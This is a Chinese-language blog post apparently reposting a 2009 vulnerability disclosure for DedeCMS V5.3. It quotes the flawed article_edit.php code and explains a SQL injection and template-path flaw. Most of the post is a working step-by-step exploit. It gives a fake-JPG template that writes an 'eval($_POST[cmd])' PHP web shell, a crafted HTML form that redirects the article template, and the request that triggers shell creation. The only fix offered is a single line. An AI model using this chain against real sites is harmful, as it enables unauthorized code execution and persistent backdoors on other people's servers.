DEDE 暴文件源码AND获得后门GetShell漏洞

2010, August 18, 9:34 AM. oday收藏
Submitted by admin

漏洞已经被公开,这里也公布了

漏洞名称:
DEDE 暴文件源码AND获得后门漏洞
发布日期:
2009-5-19
受影响系统:
DedecmsV53-UTF8-Final
安全综述:
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用户最多的PHP类CMS系统,在经历了二年多的发展,目前的版本无论在功能,还是是易用性方面,都有了长足的发展,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不泛有企业用户和学校等在使用本系统,据不完全统计,目前正在运行的使用DedeCms开发的网站已经超过一万个。
漏洞相关文件HASH
5cdd36584233ab3e3926515935dac2ef article_edit.php
c2ee32d536bfec5b67b3ab3124ab47d6 article_add.php
漏洞描述:
article_edit.php
在处理用户自定义数据的时候
/*------------------------------
function _SaveArticle(){ }
------------------------------*/
else if($dopost=='save')
{
         include(DEDEMEMBER.'/inc/archives_check.php');
         //分析处理附加表数据
         $inadd_f = $inadd_v = '';
if(!empty($dede_addonfields)) //注意这里
         {
                   $addonfields = explode(';',$dede_addonfields);
                   $inadd_f = '';
                   $inadd_v = '';
                   if(is_array($addonfields))
                   {
                            foreach($addonfields as $v)
                            {
                                     if($v=='')
                                     {
                                               continue;
                                     }
                                     $vs = explode(',',$v);
                                     if(!isset(${$vs[0]}))
                                     {
                                               ${$vs[0]} = '';
                                     }
                                     ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],0);
                                     $inadd_f .= ','.$vs[0];
                                     $inadd_v .= " ,'".${$vs[0]}."' ";
                            }
                   }
         }
。。。。。。
         $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
                   if(!$dsql->ExecuteNoneQuery($upQuery))
                   {
                            ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");
                            exit();
                   }
从上面可以看出 变量$dede_addonfields 没有进行严格控制(这是因为自定义模型所造成),没有限制用户所提交的信息,造成SQL注入漏洞。结合附加表数据自定义模板,造成暴任意文件源码漏洞。上传图片模板,可执行任意代码。
测试方法:
首先要有发表文章的权限(不需要审核通过,只要有发表和预览权限)
大小: 27.28 K
尺寸: 432 x 366
浏览: 68 次
点击打开新窗口浏览全图再修改内容
在FF的FireBUG 下找到隐藏的dede_addonfields,关设置为显示,并且增加一个表单变量,templet
大小: 6.33 K
尺寸: 301 x 38
浏览: 62 次
点击打开新窗口浏览全图并设置变量为
大小: 6.14 K
尺寸: 268 x 97
浏览: 59 次
点击打开新窗口浏览全图提交。
现在 查看文章
再查看源码
大小: 21.53 K
尺寸: 244 x 192
浏览: 50 次
点击打开新窗口浏览全图扩展利用:
可以以附件形式上传任意设计的模板文件,在服务器解释执行。
解决方案:
改变附加表数据处理方式,或验证hash

GetShell

发表文章时上传图片如1.jpg

内容为:

{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.' php'."".'eval($_POST[guji])'." ".">");
@fclose($fp);
{/dede:name}

然后转到附件管理那里 uploads.php

修改附件,同时更改oldurl 的值为 1.jpg(只改后面文件名,通过friebug更改)
提交后会在用户上传目录生成一个  1.jpg  的文件

然后像上面利用一样,templet 里填写些图片的路径 ../uploads/userup/用户ID/1.jpg

保存后点查看,就能在当前目录下生成  1.php 的一句话木马。

 

 

=======================

漏洞利用:

1.上传一个模板文件:

注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg

模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改刚刚发表的文章,查看源文件,构造一个表单:

<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

<div class="postForm">
<label>标题:</label>
<input  name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

<label>标签TAG:</label>
<input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select>            <span style="color:#F00">*</span>(不能选择带颜色的分类)

<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>

<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>

<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>

<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="&lt;div&gt;&lt;a href=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;&quot; src=&quot;http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg&quot; width=&quot;1010&quot; height=&quot;456&quot; /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;&amp;lt;?phpinfo()?&amp;gt;1111111&lt;/p&gt;" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&amp;Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />

<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>

</div>

</form>

提交,提示修改成功,则我们已经成功修改模板路径。

3.访问修改的文章:

假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php

注:
漏洞很早就存在了,民间隐藏的扫地僧估计也很早就看到了,但一直只是地下潜伏或者地下使用,直到上个月初有人找我分析IIS日志的时候,我才看到,还着实分析了一会代码。因为漏洞危害比较大,所以一直没敢公布或者将细节告诉谁,只在hi群跟黑哥与flyh4t说了下,在t00ls群跟小明说了下,今天看到toby57(http://hi.baidu.com/toby57/blog/item/686b70ece294cfdc2f2e2183.html)与小明(http://hi.baidu.com/mr_xhming/blog/item/5e1368b2dea0bbaad9335ab2.html)公布了,于是我也只好把一个月前的文章发出来了~~~

Tags: dedecms, dede

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):